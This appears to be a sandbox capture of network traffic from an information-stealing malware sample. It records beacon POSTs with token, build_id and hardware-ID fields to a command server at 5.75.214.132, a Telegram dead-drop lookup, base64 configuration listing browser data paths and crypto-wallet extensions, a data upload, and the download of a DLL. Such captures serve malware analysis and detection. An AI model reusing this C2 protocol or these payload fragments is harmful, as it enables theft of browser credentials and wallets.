2024-09-11 14:24:05 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-11 14:24:05 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-11 14:24:07 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	63481	5.75.214.132	443	5684	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:09 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:09 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 34 33 39 64 62 66 64 38 31 36 35 61 30 66 34 66 36 33 36 63 37 63 37 64 39 39 39 38 63 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 45 43 46 43 46 42 47 43 41 41 4b 45 47 49 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="token"0b439dbfd8165a0f4f636c7c7d9998cb------AEBKECFCFBGCAAKEGIJDContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------AEBKECFCFBGCAAKEGIJDCont
2024-09-11 14:24:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:09 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	63509	149.154.167.99	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:38 UTC	143	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=6ce43228477eb2573b_11654436568239867088
2024-09-11 14:24:38 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 11 Sep 2024 14:24:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12283 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-11 14:24:38 UTC	12283	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	63511	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:39 UTC	232	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	63513	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:40 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:40 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 41 31 43 42 31 33 35 44 38 30 31 31 32 38 30 35 36 36 34 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="hwid"59A1CB135D801128056648-a33c7340-61ca------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------GDGIJECGDGCBKECAKFBG--
2024-09-11 14:24:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:41 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 31 62 36 63 62 64 34 64 39 65 31 32 32 32 64 32 39 30 61 31 36 65 66 61 31 65 63 32 65 38 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c1b6cbd4d9e1222d290a16efa1ec2e8d\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	63514	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:41 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:41 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 62 36 63 62 64 34 64 39 65 31 32 32 32 64 32 39 30 61 31 36 65 66 61 31 65 63 32 65 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="token"c1b6cbd4d9e1222d290a16efa1ec2e8d------KJEHJKJEBGHJJKEBGIECContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------KJEHJKJEBGHJJKEBGIECCont
2024-09-11 14:24:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:42 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	63515	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:43 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHIIDHCGHCAAAAAFIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 62 36 63 62 64 34 64 39 65 31 32 32 32 64 32 39 30 61 31 36 65 66 61 31 65 63 32 65 38 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="token"c1b6cbd4d9e1222d290a16efa1ec2e8d------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------GCGHIIDHCGHCAAAAAFIJCont
2024-09-11 14:24:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:44 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	63516	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:44 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:44 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 62 36 63 62 64 34 64 39 65 31 32 32 32 64 32 39 30 61 31 36 65 66 61 31 65 63 32 65 38 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"c1b6cbd4d9e1222d290a16efa1ec2e8d------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------DAEGIIECGHCBFHJKEHDBCont
2024-09-11 14:24:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:45 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	63517	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:46 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 6137 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:46 UTC	6137	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 62 36 63 62 64 34 64 39 65 31 32 32 32 64 32 39 30 61 31 36 65 66 61 31 65 63 32 65 38 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 38 31 33 38 30 61 64 61 30 36 36 32 36 39 31 65 37 33 32 65 65 32 31 37 39 30 63 39 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="token"c1b6cbd4d9e1222d290a16efa1ec2e8d------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="build_id"f81380ada0662691e732ee21790c997a------BAKFCBFHJDHJKECAKEHICont
2024-09-11 14:24:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:24:47 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	63518	5.75.214.132	443

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:24:47 UTC	240	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:24:48 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:24:47 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:24:47 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:24:48 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
